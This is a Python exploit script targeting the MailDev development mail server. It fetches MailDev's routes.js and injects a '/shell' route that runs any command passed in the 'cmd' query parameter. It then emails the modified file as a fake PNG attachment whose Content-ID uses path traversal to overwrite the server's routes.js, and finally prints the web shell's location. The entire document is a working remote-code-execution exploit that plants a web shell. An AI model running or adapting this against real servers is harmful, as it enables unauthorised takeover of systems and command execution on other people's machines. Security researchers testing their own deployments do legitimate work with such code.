""" Coded by Timothy Hoekstra Intrix Cyber Security https://github.com/Tim-Hoekstra """ import smtplib from email.mime.multipart import MIMEMultipart from email.mime.text import MIMEText from email.mime.image import MIMEImage import re from bs4 import BeautifulSoup from selenium import webdriver from selenium.webdriver.chrome.options import Options from webdriver_manager.chrome import ChromeDriverManager import io import tarfile import requests # Get SMTP server and port from command line arguments smtp_server = input("Please enter the SMTP server: ") smtp_port = input("Please enter the SMTP port: ") # Ask the user for the MailDev web UI port maildev_web_ui_port = input("Please enter the MailDev web UI port (or just hit enter if you don't know it): ") # If the user entered a port, use it. Otherwise, use an empty string. maildev_web_ui_port = maildev_web_ui_port if maildev_web_ui_port else "" # Ask the user for the sender and recipient email addresses sender_email = input("Please enter the sender email address or hit enter for default (your_email@example.com): ") recipient_email = input("Please enter the recipient email address or hit enter for default (recipient@example.com): ") # If the user entered an email, use it. Otherwise, use the default. sender_email = sender_email if sender_email else "your_email@example.com" recipient_email = recipient_email if recipient_email else "recipient@example.com" if maildev_web_ui_port != "": # Ask the user if they want to automatically get the version from the MailDev web UI auto_version = input("Would you like to automatically try to get version from MailDev web UI? (Y/n/yes/no): ").lower() auto_version = auto_version if auto_version else 'y' # If the user entered 'y' or 'yes', proceed with the automatic version retrieval. Otherwise, skip it. if auto_version in ['y', 'yes']: print("Getting version number from maildev web UI...") options = Options() options.add_argument("--headless") # Use headless mode driver = webdriver.Chrome(options=options) driver.get(f'http://{smtp_server}:{maildev_web_ui_port}/') html = driver.page_source soup = BeautifulSoup(html, 'html.parser') #version_text = soup.text #version_match = re.search(r'(\d+\.\d+\.\d+)', version_text) # Regex to match version number #if version_match: # version = version_match.group(1) # print(f'You are running MailDev {version}') version_tag = soup.find('small', {'class': 'ng-binding'}) if version_tag: version_text = version_tag.text version = version_text.split()[-1] print(f'You are running MailDev {version}') else: print('Failed to auto detect version') version = input("Please enter the MailDev version number or hit enter for default (latest version): ") if not version: print("Defaulting to latest version...") version = '' driver.quit() else: version = input("Please enter the MailDev version number or hit enter for default (latest version): ") print(version) if not version: print("Defaulting to latest version...") version = '' # Download the tar.gz file if version == '': url = f'https://raw.githubusercontent.com/maildev/maildev/master/lib/routes.js' url = f'https://github.com/maildev/maildev/archive/refs/tags/v{version}.tar.gz' else: version = input("Please enter the MailDev version number or hit enter for default (latest version): ") if not version: print("Defaulting to latest version...") version = '' # Download the tar.gz file if version == '': url = f'https://raw.githubusercontent.com/maildev/maildev/master/lib/routes.js' url = f'https://github.com/maildev/maildev/archive/refs/tags/v{version}.tar.gz' response = requests.get(url) # Open the tar.gz file in memory tar_gz_file = io.BytesIO(response.content) # Extract the tar.gz file in memory with tarfile.open(fileobj=tar_gz_file, mode="r:gz") as tar: # Find the lib/routes.js file in the tar file for member in tar.getmembers(): if member.name.endswith('lib/routes.js'): # Extract the file and assign its contents to a variable routes_js_file = tar.extractfile(member) routes_js_content = routes_js_file.read().decode('utf-8') break # Now routes_js_content contains the contents of lib/routes.js # Find the line where we need to insert the payload def generate_payload(routes_js_content): payload = """ router.get('/shell', function (req, res) { const { exec } = require('child_process'); const command = req.query.cmd; if (!command) { return res.status(400).json({ error: 'Command parameter (cmd) is required' }); } exec(command, (error, stdout, stderr) => { if (error) { console.error(`Error: ${error.message}`); res.status(500).json({ error: error.message, stderr, stdout }); return; } if (stderr) { console.error(`stderr: ${stderr}`); res.status(500).json({ stderr, stdout }); return; } console.log(`stdout: ${stdout}`); res.json({ result: stdout.trim() }); }); }); """ #print(routes_js_content) insert_index = routes_js_content.find('const router = express.Router()') # If the line is found if insert_index != -1: print("Found offset") # Calculate the end index of 'const router = express.Router()' end_index = insert_index + len('const router = express.Router()') # Insert the payload after 'const router = express.Router()' routes_js_content = routes_js_content[:end_index] + payload + routes_js_content[end_index:] else: print("Exploit failed to find offset") exit(1) return routes_js_content routes_js_content = generate_payload(routes_js_content) # Create a multipart message msg = MIMEMultipart() msg["From"] = sender_email msg["To"] = recipient_email msg["Subject"] = "Malicious Email Exploit" # Add text part to the email (optional) text = MIMEText("Please see the attached image.") msg.attach(text) # Add malicious image with Content-ID for path traversal malicious_image = MIMEImage(routes_js_content.encode('utf-8'), _subtype="png", name="a.png") malicious_image.add_header("Content-ID", "<../../../home/node/lib/routes.js>") msg.attach(malicious_image) # Connect to the SMTP server and send the email try: with smtplib.SMTP(smtp_server, smtp_port) as server: server.sendmail(sender_email, recipient_email, msg.as_string()) print("Email sent successfully.") print("Find your shell at /shell?cmd=") except Exception as e: print(f"Error: {e}")